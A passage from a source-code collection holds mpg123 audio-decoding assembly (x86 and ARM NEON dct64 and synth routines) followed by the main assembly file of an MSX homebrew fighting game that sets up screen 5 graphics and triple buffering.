flds 52(%edx)
fadds 44(%edx)
fistps 192(%edi)
flds 60(%edx)
fists 448(%edi)
fadds 44(%edx)
fistps 320(%edi)
flds 96(%edx)
fadds 112(%edx)
fld %st(0)
fadds 64(%edx)
fistps 480(%esi)
fadds 80(%edx)
fistps 416(%esi)
flds 112(%edx)
fadds 104(%edx)
fld %st(0)
fadds 80(%edx)
fistps 352(%esi)
fadds 72(%edx)
fistps 288(%esi)
flds 104(%edx)
fadds 120(%edx)
fld %st(0)
fadds 72(%edx)
fistps 224(%esi)
fadds 88(%edx)
fistps 160(%esi)
flds 120(%edx)
fadds 100(%edx)
fld %st(0)
fadds 88(%edx)
fistps 96(%esi)
fadds 68(%edx)
fistps 32(%esi)
flds 100(%edx)
fadds 116(%edx)
fld %st(0)
fadds 68(%edx)
fistps 32(%edi)
fadds 84(%edx)
fistps 96(%edi)
flds 116(%edx)
fadds 108(%edx)
fld %st(0)
fadds 84(%edx)
fistps 160(%edi)
fadds 76(%edx)
fistps 224(%edi)
flds 108(%edx)
fadds 124(%edx)
fld %st(0)
fadds 76(%edx)
fistps 288(%edi)
fadds 92(%edx)
fistps 352(%edi)
flds 124(%edx)
fists 480(%edi)
fadds 92(%edx)
fistps 416(%edi)
movsw
addl $256,%esp
popl %edi
popl %esi
popl %ebx
ret
#if defined(PIC) && defined(__APPLE__)
.section __IMPORT,__pointers,non_lazy_symbol_pointers
L_costab_mmxsse:
.indirect_symbol ASM_NAME(costab_mmxsse)
.long 0
#endif
NONEXEC_STACK
|
AlbrechtL/welle.io | 8,954 | src/libs/mpg123/dct64_neon64_float.S | /*
dct64_neon64_float: NEON optimized dct64 for AArch64 (float output version)
copyright 1995-2014 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN16
costab_neon_aarch64:
.word 1056974725
.word 1057056395
.word 1057223771
.word 1057485416
.word 1057855544
.word 1058356026
.word 1059019886
.word 1059897405
.word 1061067246
.word 1062657950
.word 1064892987
.word 1066774581
.word 1069414683
.word 1073984175
.word 1079645762
.word 1092815430
.word 1057005197
.word 1057342072
.word 1058087743
.word 1059427869
.word 1061799040
.word 1065862217
.word 1071413542
.word 1084439708
.word 1057128951
.word 1058664893
.word 1063675095
.word 1076102863
.word 1057655764
.word 1067924853
.word 1060439283
.word 1060439283
.text
ALIGN4
.globl ASM_NAME(dct64_real_neon64)
#ifdef __ELF__
.type ASM_NAME(dct64_real_neon64), %function
#endif
ASM_NAME(dct64_real_neon64):
add x3, x2, #64
adrp x4, AARCH64_PCREL_HI(costab_neon_aarch64)
add x4, x4, AARCH64_PCREL_LO(costab_neon_aarch64)
ld1 {v0.4s,v1.4s,v2.4s,v3.4s}, [x2]
ld1 {v16.4s,v17.4s,v18.4s,v19.4s}, [x3]
ld1 {v20.4s,v21.4s,v22.4s,v23.4s}, [x4], #64
rev64 v19.4s, v19.4s
rev64 v18.4s, v18.4s
rev64 v17.4s, v17.4s
rev64 v16.4s, v16.4s
ext v4.16b, v19.16b, v19.16b, #8
ext v5.16b, v18.16b, v18.16b, #8
ext v6.16b, v17.16b, v17.16b, #8
ext v7.16b, v16.16b, v16.16b, #8
fsub v16.4s, v3.4s, v7.4s
fsub v17.4s, v2.4s, v6.4s
fsub v18.4s, v1.4s, v5.4s
fsub v19.4s, v0.4s, v4.4s
fadd v0.4s, v0.4s, v4.4s /* bs[0,1,2,3] */
fadd v1.4s, v1.4s, v5.4s /* bs[4,5,6,7] */
fadd v2.4s, v2.4s, v6.4s /* bs[8,9,10,11] */
fadd v3.4s, v3.4s, v7.4s /* bs[12,13,14,15] */
fmul v16.4s, v16.4s, v23.4s /* bs[19,18,17,16] */
fmul v17.4s, v17.4s, v22.4s /* bs[23,22,21,20] */
fmul v18.4s, v18.4s, v21.4s /* bs[27,26,25,24] */
fmul v19.4s, v19.4s, v20.4s /* bs[31,30,29,28] */
ld1 {v20.4s, v21.4s}, [x4], #32
rev64 v22.4s, v3.4s
rev64 v23.4s, v2.4s
rev64 v24.4s, v16.4s
rev64 v25.4s, v17.4s
ext v4.16b, v22.16b, v22.16b, #8 /* bs[15,14,13,12] */
ext v5.16b, v23.16b, v23.16b, #8 /* bs[11,10,9,8] */
ext v6.16b, v24.16b, v24.16b, #8 /* bs[16,17,18,19] */
ext v7.16b, v25.16b, v25.16b, #8 /* bs[20,21,22,23] */
fsub v26.4s, v1.4s, v5.4s
fsub v27.4s, v0.4s, v4.4s
fsub v28.4s, v18.4s, v7.4s
fsub v29.4s, v19.4s, v6.4s
fadd v4.4s, v0.4s, v4.4s /* bs[32,33,34,35] */
fadd v5.4s, v1.4s, v5.4s /* bs[36,37,38,39] */
fadd v6.4s, v6.4s, v19.4s /* bs[48,49,50,51] */
fadd v7.4s, v7.4s, v18.4s /* bs[52,53,54,55] */
fmul v26.4s, v26.4s, v21.4s /* bs[43,42,41,40] */
fmul v27.4s, v27.4s, v20.4s /* bs[47,46,45,44] */
fmul v28.4s, v28.4s, v21.4s /* bs[59,58,57,56] */
fmul v29.4s, v29.4s, v20.4s /* bs[63,62,61,60] */
ld1 {v20.4s}, [x4], #16
rev64 v16.4s, v5.4s
rev64 v17.4s, v26.4s
rev64 v18.4s, v7.4s
rev64 v19.4s, v28.4s
ext v0.16b, v16.16b, v16.16b, #8 /* bs[39,38,37,36] */
ext v1.16b, v17.16b, v17.16b, #8 /* bs[40,41,42,43] */
ext v2.16b, v18.16b, v18.16b, #8 /* bs[55,54,53,52] */
ext v3.16b, v19.16b, v19.16b, #8 /* bs[56,57,58,59] */
fsub v16.4s, v4.4s, v0.4s
fsub v17.4s, v27.4s, v1.4s
fsub v18.4s, v6.4s, v2.4s
fsub v19.4s, v29.4s, v3.4s
fadd v0.4s, v4.4s, v0.4s /* bs[0,1,2,3] */
fadd v1.4s, v1.4s, v27.4s /* bs[8,9,10,11] */
fadd v2.4s, v6.4s, v2.4s /* bs[16,17,18,19] */
fadd v3.4s, v3.4s, v29.4s /* bs[24,25,26,27] */
fmul v16.4s, v16.4s, v20.4s /* bs[7,6,5,4] */
fmul v17.4s, v17.4s, v20.4s /* bs[15,14,13,12] */
fmul v18.4s, v18.4s, v20.4s /* bs[23,22,21,20] */
fmul v19.4s, v19.4s, v20.4s /* bs[31,30,29,28] */
ld1 {v28.4s}, [x4]
zip1 v4.2d, v0.2d, v16.2d /* bs[0,1,7,6] */
zip2 v5.2d, v0.2d, v16.2d /* bs[2,3,5,4] */
zip1 v6.2d, v1.2d, v17.2d /* bs[8,9,15,14] */
zip2 v7.2d, v1.2d, v17.2d /* bs[10,11,13,12] */
zip1 v20.2d, v2.2d, v18.2d /* bs[16,17,23,22] */
zip2 v21.2d, v2.2d, v18.2d /* bs[18,19,21,20] */
zip1 v22.2d, v3.2d, v19.2d /* bs[24,25,31,30] */
zip2 v23.2d, v3.2d, v19.2d /* bs[26,27,29,28] */
rev64 v5.4s, v5.4s /* bs[3,2,4,5] */
rev64 v7.4s, v7.4s /* bs[11,10,12,13] */
rev64 v21.4s, v21.4s /* bs[19,18,20,21] */
rev64 v23.4s, v23.4s /* bs[27,26,28,29] */
AARCH64_DUP_2D(v29, v28, 0)
AARCH64_DUP_4S(v28, v28, 2)
fsub v16.4s, v4.4s, v5.4s
fsub v17.4s, v6.4s, v7.4s
fsub v18.4s, v20.4s, v21.4s
fsub v19.4s, v22.4s, v23.4s
fadd v0.4s, v4.4s, v5.4s /* bs[32,33,36,37] */
fadd v1.4s, v6.4s, v7.4s /* bs[40,41,44,45] */
fadd v2.4s, v20.4s, v21.4s /* bs[48,49,52,53] */
fadd v3.4s, v22.4s, v23.4s /* bs[56,57,60,61] */
fmul v16.4s, v16.4s, v29.4s /* bs[35,34,39,38] */
fmul v17.4s, v17.4s, v29.4s /* bs[43,42,47,46] */
fmul v18.4s, v18.4s, v29.4s /* bs[51,50,55,54] */
fmul v19.4s, v19.4s, v29.4s /* bs[59,58,63,62] */
uzp1 v4.4s, v0.4s, v16.4s /* bs[32,36,35,39] */
uzp2 v5.4s, v0.4s, v16.4s /* bs[33,37,34,38] */
uzp1 v6.4s, v1.4s, v17.4s /* bs[40,44,43,47] */
uzp2 v7.4s, v1.4s, v17.4s /* bs[41,45,42,46] */
uzp1 v20.4s, v2.4s, v18.4s /* bs[48,52,51,55] */
uzp2 v21.4s, v2.4s, v18.4s /* bs[49,53,50,54] */
uzp1 v22.4s, v3.4s, v19.4s /* bs[56,60,59,63] */
uzp2 v23.4s, v3.4s, v19.4s /* bs[57,61,58,62] */
fsub v16.4s, v4.4s, v5.4s
fsub v17.4s, v6.4s, v7.4s
fsub v18.4s, v20.4s, v21.4s
fsub v19.4s, v22.4s, v23.4s
fadd v0.4s, v4.4s, v5.4s /* bs[0,4,2,6] */
fadd v1.4s, v6.4s, v7.4s /* bs[8,12,10,14] */
fadd v2.4s, v20.4s, v21.4s /* bs[16,20,18,22] */
fadd v3.4s, v22.4s, v23.4s /* bs[24,28,26,30] */
fmul v16.4s, v16.4s, v28.4s /* bs[1,5,3,7] */
fmul v17.4s, v17.4s, v28.4s /* bs[9,13,11,15] */
fmul v18.4s, v18.4s, v28.4s /* bs[17,21,19,23] */
fmul v19.4s, v19.4s, v28.4s /* bs[25,29,27,31] */
zip2 v4.2d, v0.2d, v1.2d /* bs[2,6,10,14] */
zip2 v5.2d, v16.2d, v17.2d /* bs[3,7,11,15] */
zip2 v6.2d, v2.2d, v3.2d /* bs[18,22,26,30] */
zip2 v7.2d, v18.2d, v19.2d /* bs[19,23,27,31] */
fadd v4.4s, v4.4s, v5.4s /* bs[2,6,10,14] */
fadd v6.4s, v6.4s, v7.4s /* bs[18,22,26,30] */
ins v0.d[1], v4.d[0] /* bs[0,4,2,6] */
ins v1.d[1], v4.d[1] /* bs[8,12,10,14] */
ins v2.d[1], v6.d[0] /* bs[16,20,18,22] */
ins v3.d[1], v6.d[1] /* bs[24,28,26,30] */
eor v31.16b, v31.16b, v31.16b
zip1 v4.4s, v0.4s, v16.4s /* bs[0,1,4,5] */
zip2 v5.4s, v0.4s, v16.4s /* bs[2,3,6,7] */
zip1 v6.4s, v1.4s, v17.4s /* bs[8,9,12,13] */
zip2 v7.4s, v1.4s, v17.4s /* bs[10,11,14,15] */
zip1 v20.4s, v2.4s, v18.4s /* bs[16,17,20,21] */
zip2 v21.4s, v2.4s, v18.4s /* bs[18,19,22,23] */
zip1 v22.4s, v3.4s, v19.4s /* bs[24,25,28,29] */
zip2 v23.4s, v3.4s, v19.4s /* bs[26,27,30,31] */
zip1 v0.2d, v4.2d, v5.2d /* bs[0,1,2,3] */
zip2 v1.2d, v4.2d, v5.2d /* bs[4,5,6,7] */
zip1 v2.2d, v6.2d, v7.2d /* bs[8,9,10,11] */
zip2 v3.2d, v6.2d, v7.2d /* bs[12,13,14,15] */
rev64 v16.4s, v4.4s
rev64 v17.4s, v6.4s
zip1 v24.2d, v7.2d, v17.2d
zip2 v16.2d, v5.2d, v16.2d
zip2 v17.2d, v7.2d, v17.2d
zip1 v4.2d, v20.2d, v21.2d /* bs[16,17,18,19] */
zip2 v5.2d, v20.2d, v21.2d /* bs[20,21,22,23] */
zip1 v6.2d, v22.2d, v23.2d /* bs[24,25,26,27] */
zip2 v7.2d, v22.2d, v23.2d /* bs[28,29,30,31] */
rev64 v18.4s, v20.4s
rev64 v19.4s, v22.4s
zip1 v25.2d, v23.2d, v19.2d
zip1 v26.2d, v21.2d, v18.2d
zip2 v18.2d, v21.2d, v18.2d
zip2 v19.2d, v23.2d, v19.2d
ins v16.s[3], v31.s[0] /* bs[6,7,5,-] */
ins v17.s[3], v31.s[0] /* bs[14,15,13,-] */
ins v18.s[3], v31.s[0] /* bs[22,23,21,-] */
ins v19.s[3], v31.s[0] /* bs[30,31,29,-] */
ins v24.s[3], v31.s[0] /* bs[10,11,9,-] */
ins v25.s[3], v31.s[0] /* bs[26,27,25,-] */
ins v26.s[3], v31.s[0] /* bs[18,19,17,-] */
fadd v1.4s, v1.4s, v16.4s
fadd v3.4s, v3.4s, v17.4s
fadd v5.4s, v5.4s, v18.4s
fadd v7.4s, v7.4s, v19.4s
fadd v2.4s, v2.4s, v3.4s
fadd v3.4s, v3.4s, v24.4s
fadd v6.4s, v6.4s, v7.4s
fadd v7.4s, v7.4s, v25.4s
fadd v4.4s, v4.4s, v6.4s
fadd v6.4s, v6.4s, v5.4s
fadd v5.4s, v5.4s, v7.4s
fadd v7.4s, v7.4s, v26.4s
mov x3, #64
st1 {v0.s}[1], [x0], x3
st1 {v7.s}[2], [x0], x3
st1 {v3.s}[2], [x0], x3
st1 {v5.s}[2], [x0], x3
st1 {v1.s}[2], [x0], x3
st1 {v6.s}[2], [x0], x3
st1 {v2.s}[2], [x0], x3
st1 {v4.s}[2], [x0], x3
st1 {v0.s}[2], [x0], x3
st1 {v7.s}[0], [x0], x3
st1 {v3.s}[0], [x0], x3
st1 {v5.s}[0], [x0], x3
st1 {v1.s}[0], [x0], x3
st1 {v6.s}[0], [x0], x3
st1 {v2.s}[0], [x0], x3
st1 {v4.s}[0], [x0], x3
st1 {v0.s}[0], [x0]
st1 {v0.s}[1], [x1], x3
st1 {v4.s}[1], [x1], x3
st1 {v2.s}[1], [x1], x3
st1 {v6.s}[1], [x1], x3
st1 {v1.s}[1], [x1], x3
st1 {v5.s}[1], [x1], x3
st1 {v3.s}[1], [x1], x3
st1 {v7.s}[1], [x1], x3
st1 {v0.s}[3], [x1], x3
st1 {v4.s}[3], [x1], x3
st1 {v2.s}[3], [x1], x3
st1 {v6.s}[3], [x1], x3
st1 {v1.s}[3], [x1], x3
st1 {v5.s}[3], [x1], x3
st1 {v3.s}[3], [x1], x3
st1 {v7.s}[3], [x1]
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 4,218 | src/libs/mpg123/synth_stereo_neon.S | /*
synth_stereo_neon: ARM NEON optimized synth (stereo specific version)
copyright 1995-2010 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#define WINDOW r0
#define B0L r1
#define B0R r2
#define SAMPLES r3
/*
int synth_1to1_s_neon_asm(short *window, short *b0l, short *b0r, short *samples, int bo1);
return value: number of clipped samples
*/
#ifndef _M_ARM
.code 32
#endif
#ifndef __APPLE__
.fpu neon
#endif
.text
GLOBAL_SYMBOL ASM_NAME(synth_1to1_s_neon_asm)
#ifdef __ELF__
.type ASM_NAME(synth_1to1_s_neon_asm), %function
#endif
ALIGN4
ASM_NAME(synth_1to1_s_neon_asm):
push {r4-r6, lr}
vpush {q4-q7}
ldr r4, [sp, #80]
add WINDOW, WINDOW, #32
sub WINDOW, WINDOW, r4, lsl #1
mov r4, #4
mov r5, #64
1:
vld1.16 {d0-d3}, [WINDOW], r5
vld1.16 {d4-d7}, [WINDOW], r5
vld1.16 {d8-d11}, [B0L, :128]!
vld1.16 {d12-d15}, [B0R, :128]!
vld1.16 {d16-d19}, [B0L, :128]!
vld1.16 {d20-d23}, [B0R, :128]!
vmull.s16 q12, d0, d8
vmull.s16 q13, d0, d12
vmull.s16 q14, d4, d16
vmull.s16 q15, d4, d20
vmlal.s16 q12, d1, d9
vmlal.s16 q13, d1, d13
vmlal.s16 q14, d5, d17
vmlal.s16 q15, d5, d21
vmlal.s16 q12, d2, d10
vmlal.s16 q13, d2, d14
vmlal.s16 q14, d6, d18
vmlal.s16 q15, d6, d22
vmlal.s16 q12, d3, d11
vmlal.s16 q13, d3, d15
vmlal.s16 q14, d7, d19
vmlal.s16 q15, d7, d23
vpadd.i32 d24, d24, d25
vpadd.i32 d26, d26, d27
vpadd.i32 d28, d28, d29
vpadd.i32 d30, d30, d31
vpadd.i32 d24, d24, d26
vpadd.i32 d25, d28, d30
vqrshrn.s32 d0, q12, #13
vst1.16 {d0}, [SAMPLES]!
vld1.16 {d0-d3}, [WINDOW], r5
vld1.16 {d4-d7}, [WINDOW], r5
vld1.16 {d8-d11}, [B0L, :128]!
vld1.16 {d12-d15}, [B0R, :128]!
vld1.16 {d16-d19}, [B0L, :128]!
vld1.16 {d20-d23}, [B0R, :128]!
vmull.s16 q12, d0, d8
vmull.s16 q13, d0, d12
vmull.s16 q14, d4, d16
vmull.s16 q15, d4, d20
vmlal.s16 q12, d1, d9
vmlal.s16 q13, d1, d13
vmlal.s16 q14, d5, d17
vmlal.s16 q15, d5, d21
vmlal.s16 q12, d2, d10
vmlal.s16 q13, d2, d14
vmlal.s16 q14, d6, d18
vmlal.s16 q15, d6, d22
vmlal.s16 q12, d3, d11
vmlal.s16 q13, d3, d15
vmlal.s16 q14, d7, d19
vmlal.s16 q15, d7, d23
vpadd.i32 d24, d24, d25
vpadd.i32 d26, d26, d27
vpadd.i32 d28, d28, d29
vpadd.i32 d30, d30, d31
vpadd.i32 d24, d24, d26
vpadd.i32 d25, d28, d30
vqrshrn.s32 d0, q12, #13
vst1.16 {d0}, [SAMPLES]!
subs r4, r4, #1
bne 1b
mov r4, #4
mov r6, #-32
1:
vld1.16 {d0-d3}, [WINDOW], r5
vld1.16 {d4-d7}, [WINDOW], r5
vld1.16 {d8-d11}, [B0L, :128], r6
vld1.16 {d12-d15}, [B0R, :128], r6
vld1.16 {d16-d19}, [B0L, :128], r6
vld1.16 {d20-d23}, [B0R, :128], r6
vmull.s16 q12, d0, d8
vmull.s16 q13, d0, d12
vmull.s16 q14, d4, d16
vmull.s16 q15, d4, d20
vmlal.s16 q12, d1, d9
vmlal.s16 q13, d1, d13
vmlal.s16 q14, d5, d17
vmlal.s16 q15, d5, d21
vmlal.s16 q12, d2, d10
vmlal.s16 q13, d2, d14
vmlal.s16 q14, d6, d18
vmlal.s16 q15, d6, d22
vmlal.s16 q12, d3, d11
vmlal.s16 q13, d3, d15
vmlal.s16 q14, d7, d19
vmlal.s16 q15, d7, d23
vpadd.i32 d24, d24, d25
vpadd.i32 d26, d26, d27
vpadd.i32 d28, d28, d29
vpadd.i32 d30, d30, d31
vpadd.i32 d24, d24, d26
vpadd.i32 d25, d28, d30
vqrshrn.s32 d0, q12, #13
vst1.16 {d0}, [SAMPLES]!
vld1.16 {d0-d3}, [WINDOW], r5
vld1.16 {d4-d7}, [WINDOW], r5
vld1.16 {d8-d11}, [B0L, :128], r6
vld1.16 {d12-d15}, [B0R, :128], r6
vld1.16 {d16-d19}, [B0L, :128], r6
vld1.16 {d20-d23}, [B0R, :128], r6
vmull.s16 q12, d0, d8
vmull.s16 q13, d0, d12
vmull.s16 q14, d4, d16
vmull.s16 q15, d4, d20
vmlal.s16 q12, d1, d9
vmlal.s16 q13, d1, d13
vmlal.s16 q14, d5, d17
vmlal.s16 q15, d5, d21
vmlal.s16 q12, d2, d10
vmlal.s16 q13, d2, d14
vmlal.s16 q14, d6, d18
vmlal.s16 q15, d6, d22
vmlal.s16 q12, d3, d11
vmlal.s16 q13, d3, d15
vmlal.s16 q14, d7, d19
vmlal.s16 q15, d7, d23
vpadd.i32 d24, d24, d25
vpadd.i32 d26, d26, d27
vpadd.i32 d28, d28, d29
vpadd.i32 d30, d30, d31
vpadd.i32 d24, d24, d26
vpadd.i32 d25, d28, d30
vqrshrn.s32 d0, q12, #13
vst1.16 {d0}, [SAMPLES]!
subs r4, r4, #1
bne 1b
mov r0, #0
vpop {q4-q7}
pop {r4-r6, pc}
NONEXEC_STACK
|
albs-br/msx-mk | 14,147 | main.s | FNAME "msx-mk.rom" ; output file
PageSize: equ 0x4000 ; 16kB
Seg_P8000_SW: equ 0x7000 ; Segment switch for page 0x8000-BFFFh (ASCII 16k Mapper)
; Compilation address
org 0x4000, 0xbeff ; 0x8000 can be also used here if Rom size is 16kB or less.
INCLUDE "Include/RomHeader.s"
INCLUDE "Include/MsxBios.s"
INCLUDE "Include/MsxConstants.s"
INCLUDE "Include/CommonRoutines.s"
INCLUDE "GameLogic/ReadInput.s"
INCLUDE "GameLogic/Player_Logic.s"
INCLUDE "GameLogic/Players_Init.s"
INCLUDE "GameLogic/CheckCollision.s"
INCLUDE "TripleBuffer/DrawSprite.s"
INCLUDE "TripleBuffer/RestoreBg.s"
INCLUDE "TripleBuffer/SetActivePage.s"
INCLUDE "TripleBuffer/GetCurrentFrameAndGoToNext.s"
; INCLUDE "TripleBuffer/GoToNextFrame.s"
INCLUDE "Sounds/OPL4.s"
Execute:
; init interrupt mode and stack pointer (in case the ROM isn't the first thing to be loaded)
di ; disable interrupts
im 1 ; interrupt mode 1
ld sp, (BIOS_HIMEM) ; init SP
call ClearRam
; PSG: silence
call BIOS_GICINI
; disable keyboard click
xor a
ld (BIOS_CLIKSW), a ; Key Press Click Switch 0:Off 1:On (1B/RW)
call EnableRomPage2
; enable page 1
ld a, 1
ld (Seg_P8000_SW), a
; change to screen 5
ld a, 5
call BIOS_CHGMOD
call BIOS_DISSCR
call ClearVram_MSX2
call Set212Lines
call SetColor0ToNonTransparent
call DisableSprites
; load 32-byte palette data
ld hl, Palette
call LoadPalette
; --- Load background on all 4 pages
; SC 5 - page 0
ld a, 0000 0000 b
ld hl, 0x0000
call LoadImageTo_SC5_Page
; SC 5 - page 1
ld a, 0000 0000 b
ld hl, 0x8000
call LoadImageTo_SC5_Page
; SC 5 - page 2
ld a, 0000 0001 b
ld hl, 0x0000
call LoadImageTo_SC5_Page
; SC 5 - page 3
ld a, 0000 0001 b
ld hl, 0x8000
call LoadImageTo_SC5_Page
call OPL4_Init
call BIOS_ENASCR
; ---- Triple buffer logic
; init vars
ld hl, Restore_BG_HMMM_Parameters
ld de, TripleBuffer_Vars_RestoreBG_HMMM_Command
ld bc, Restore_BG_HMMM_Parameters_size
ldir
; ld hl, LINE_Parameters
; ld de, TripleBuffer_Vars_LINE_Command
; ld bc, LINE_Parameters_size
; ldir
xor a
ld (TripleBuffer_Vars.Step), a
call Players_Init
Triple_Buffer_Loop:
; ---------------------------------------------------------------
; FPS counter
; if (Jiffy >= LastJiffy + 60) resetFpsCounter
ld hl, (Jiffy_Saved)
ld de, (BIOS_JIFFY)
call BIOS_DCOMPR ; Compare Contents Of HL & DE, Set Z-Flag IF (HL == DE), Set CY-Flag IF (HL < DE)
jp nc, .doNotResetFpsCounter
; save current Jiffy + 60
ex de, hl ; HL = DE
ld de, 60
add hl, de
ld (Jiffy_Saved), hl
; save last fps and reset fps counter
ld a, (CurrentCounter)
ld (LastFps), a
xor a
ld (CurrentCounter), a
.doNotResetFpsCounter:
ld hl, CurrentCounter
inc (hl)
; ---------------------------------------------------------------
call ReadInput
ld ix, Player_1_Vars
call Player_Logic
ld ix, Player_2_Vars
call Player_Logic
call CheckCollision_Hurtboxes
call CheckCollision_Hitboxes
; -------
ld a, (TripleBuffer_Vars.Step)
or a
jp z, Triple_Buffer_Step_0 ; if(Step == 0) Triple_Buffer_Step_0();
dec a
jp z, Triple_Buffer_Step_1 ; else if(Step == 1) Triple_Buffer_Step_1();
jp Triple_Buffer_Step_2 ; else Triple_Buffer_Step_2();
;--------------------------------------------------------------------
INCLUDE "TripleBuffer/TripleBuffer_Constants.s"
;--------------------------------------------------------------------
Triple_Buffer_Step_0:
; --- set active page 0
ld a, R2_PAGE_0
call SetActivePage
; ------ player 1
ld ix, Player_1_Vars
; restore bg on page 2 (first we trigger VDP command to get some parallel access to VRAM)
ld hl, Y_BASE_PAGE_2
call RestoreBg
; draw sprites on page 1
call GetCurrentFrameAndGoToNext
ld a, R14_PAGE_1
call DrawSprite
; ------ player 2
ld ix, Player_2_Vars
; restore bg on page 2 (first we trigger VDP command to get some parallel access to VRAM)
ld hl, Y_BASE_PAGE_2
call RestoreBg
; draw sprites on page 1
call GetCurrentFrameAndGoToNext
ld a, R14_PAGE_1
call DrawSprite
; --- update triple buffer vars
ld a, 1
ld (TripleBuffer_Vars.Step), a
jp Triple_Buffer_Loop
;--------------------------------------------------------------------
Triple_Buffer_Step_1:
; --- set active page 1
ld a, R2_PAGE_1
call SetActivePage
; ------ player 1
ld ix, Player_1_Vars
; restore bg on page 0
ld hl, Y_BASE_PAGE_0
call RestoreBg
; draw sprites on page 2
call GetCurrentFrameAndGoToNext
ld a, R14_PAGE_2
call DrawSprite
; ------ player 2
ld ix, Player_2_Vars
; restore bg on page 0
ld hl, Y_BASE_PAGE_0
call RestoreBg
; draw sprites on page 2
call GetCurrentFrameAndGoToNext
ld a, R14_PAGE_2
call DrawSprite
; --- update triple buffer vars
ld a, 2
ld (TripleBuffer_Vars.Step), a
jp Triple_Buffer_Loop
;--------------------------------------------------------------------
Triple_Buffer_Step_2:
; --- set active page 2
ld a, R2_PAGE_2
call SetActivePage
; ------ player 1
ld ix, Player_1_Vars
; restore bg on page 1
ld hl, Y_BASE_PAGE_1
call RestoreBg
; draw sprites on page 0
call GetCurrentFrameAndGoToNext
ld a, R14_PAGE_0
call DrawSprite
; ------ player 2
ld ix, Player_2_Vars
; restore bg on page 1
ld hl, Y_BASE_PAGE_1
call RestoreBg
; draw sprites on page 0
call GetCurrentFrameAndGoToNext
ld a, R14_PAGE_0
call DrawSprite
; --- update triple buffer vars
xor a
ld (TripleBuffer_Vars.Step), a
jp Triple_Buffer_Loop
;--------------------------------------------------------------------
; Input:
; AHL: 17-bit VRAM address
LoadImageTo_SC5_Page:
; enable megarom page with top of bg
push af
ld a, MEGAROM_PAGE_BG_GOROS_LAIR_0
ld (Seg_P8000_SW), a
pop af
; first 16kb (top 128 lines)
push af, hl
call SetVdp_Write
ld hl, Bg_Top
ld c, PORT_0
ld d, 0 + (Bg_Top.size / 256)
ld b, 0 ; 256 bytes
.loop_10:
otir
dec d
jp nz, .loop_10
pop hl, af
; enable megarom page with bottom of bg
push af
ld a, MEGAROM_PAGE_BG_GOROS_LAIR_1
ld (Seg_P8000_SW), a
pop af
; lines below 128
ld bc, 16 * 1024
add hl, bc
call SetVdp_Write
ld hl, Bg_Bottom
ld c, PORT_0
ld d, 0 + (Bg_Bottom.size / 256)
ld b, 0 ; 256 bytes
.loop_20:
otir
dec d
jp nz, .loop_20
ret
Palette:
INCBIN "Images/mk.pal"
; --------------------------------------------------------
Restore_BG_HMMM_Parameters:
.Source_X: dw 0 ; Source X (9 bits)
.Source_Y: dw 0 ; Source Y (10 bits)
.Destiny_X: dw 0 ; Destiny X (9 bits)
.Destiny_Y: dw 0 ; Destiny Y (10 bits)
.Cols: dw 0 ; number of cols (9 bits)
.Lines: dw 0 ; number of lines (10 bits)
.NotUsed: db 0
.Options: db 0 ; select destination memory and direction from base coordinate
.Command: db VDP_COMMAND_HMMM
Restore_BG_HMMM_Parameters_size: equ $ - Restore_BG_HMMM_Parameters
; LINE_Parameters:
; .Start_X: dw 0 ; Starting point X (9 bits)
; .Start_Y: dw 0 ; Starting point Y (10 bits)
; .Cols: dw 0 ; number of cols (9 bits)
; .Lines: dw 0 ; number of lines (10 bits)
; .Color: db 15 ; 4 bits (G4, G5), 2 bits (G6), 8 bits (G7)
; .Options: db 0 ; select destination memory and direction from base coordinate
; .Command: db VDP_COMMAND_LINE
; LINE_Parameters_size: equ $ - LINE_Parameters
; ----------------------------------------------------------
; ------- All animation pointers
INCLUDE "Data/scorpion/scorpion_all_animations.s"
INCLUDE "Data/subzero/subzero_all_animations.s"
; ------- Animation frame headers
; ------------------------ Scorpion
; --- Left
INCLUDE "Data/scorpion/stance/left/scorpion_stance_left_animation.s"
INCLUDE "Data/scorpion/walking/left/scorpion_walking_left_animation.s"
INCLUDE "Data/scorpion/walking/left/scorpion_walking_backwards_left_animation.s"
INCLUDE "Data/scorpion/jumping-up/left/scorpion_jumping_up_left_animation.s"
INCLUDE "Data/scorpion/jumping-forward/left/scorpion_jumping_forward_left_animation.s"
INCLUDE "Data/scorpion/jumping-forward/left/scorpion_jumping_backwards_left_animation.s"
INCLUDE "Data/scorpion/kick/left/scorpion_low_kick_left_animation.s"
INCLUDE "Data/scorpion/kick/left/scorpion_high_kick_left_animation.s"
INCLUDE "Data/scorpion/block/left/scorpion_block_left_animation.s"
INCLUDE "Data/scorpion/crouching/left/scorpion_crouching_left_animation.s"
INCLUDE "Data/scorpion/crouching-block/left/scorpion_crouching_block_left_animation.s"
; INCLUDE "Data/scorpion/hurt-1/left/scorpion_hurt_1_left_animation.s"
INCLUDE "Data/scorpion/uppercut/left/scorpion_uppercut_left_animation.s"
; --- Right
; INCLUDE "Data/scorpion/stance/right/scorpion_stance_right_animation.s"
; INCLUDE "Data/scorpion/walking/right/scorpion_walking_right_animation.s"
; INCLUDE "Data/scorpion/walking/right/scorpion_walking_backwards_right_animation.s"
; INCLUDE "Data/scorpion/jumping-up/right/scorpion_jumping_up_right_animation.s"
; INCLUDE "Data/scorpion/jumping-forward/right/scorpion_jumping_forward_right_animation.s"
; INCLUDE "Data/scorpion/jumping-forward/right/scorpion_jumping_backwards_right_animation.s"
; INCLUDE "Data/scorpion/kick/right/scorpion_low_kick_right_animation.s"
; INCLUDE "Data/scorpion/kick/right/scorpion_high_kick_right_animation.s"
; INCLUDE "Data/scorpion/block/right/scorpion_block_right_animation.s"
; INCLUDE "Data/scorpion/crouching/right/scorpion_crouching_right_animation.s"
; INCLUDE "Data/scorpion/crouching-block/right/scorpion_crouching_block_right_animation.s"
; INCLUDE "Data/scorpion/hurt-1/right/scorpion_hurt_1_right_animation.s"
; INCLUDE "Data/scorpion/uppercut/right/scorpion_uppercut_right_animation.s"
; ------------------------ Subzero
; --- Left
; INCLUDE "Data/subzero/stance/left/subzero_stance_left_animation.s"
; INCLUDE "Data/subzero/walking/left/subzero_walking_left_animation.s"
; INCLUDE "Data/subzero/walking/left/subzero_walking_backwards_left_animation.s"
